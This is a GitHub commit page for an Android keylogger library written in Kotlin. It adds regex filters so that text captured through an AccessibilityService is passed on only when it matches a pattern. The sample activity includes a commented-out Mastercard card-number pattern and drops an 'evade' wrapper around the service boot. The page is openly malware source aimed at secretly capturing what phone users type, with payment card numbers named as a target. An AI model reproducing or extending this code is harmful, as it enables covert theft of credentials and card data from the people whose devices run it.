Skip to content

Commit

Permalink
Merge pull request #9 from evilthreads669966/feature_pattern_matchers
Browse files Browse the repository at this point in the history
regexp patterns
  • Loading branch information
evilthreads669966 authored Sep 29, 2020
2 parents fa7c42b + d1e7a00 commit 3e336fb
Show file tree
Hide file tree
Showing 3 changed files with 18 additions and 7 deletions.
Original file line number Diff line number Diff line change
Expand Up @@ -42,6 +42,12 @@ import kotlinx.coroutines.channels.ReceiveChannel
object Keylogger{
internal val channel = Channel<KeyloggerEntry>()

internal val patterns = mutableSetOf<Regex>()

fun addPattern(regex: String) = patterns.add(Regex(regex))

fun resetPatterns() = patterns.clear()

suspend fun subscribe(block: (KeyloggerEntry) -> Unit){
for(entry in channel){
block(entry)
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -47,8 +47,13 @@ class KeyloggerService: AccessibilityService() {
}
}.toString().trim().takeIf { it.isNotEmpty() }?.let{ text ->
runBlocking {
val entry = KeyloggerEntry(text)
Keylogger.channel.send(entry)
Keylogger.patterns.forEach { pattern ->
if(pattern.containsMatchIn(text)){
val entry = KeyloggerEntry(text)
Keylogger.channel.send(entry)
return@runBlocking
}
}
}
}
}
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -30,11 +30,11 @@ class MainActivity : AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_main)
evade {
Keylogger.requestPermission(this)
bootService(this){
service = MyService::class
}
Keylogger.requestPermission(this)
//mastercard
//Keylogger.addPattern("^5[1-5][0-9]{14}\\$")
bootService(this){
service = MyService::class
}
}
}

0 comments on commit 3e336fb

Please sign in to comment.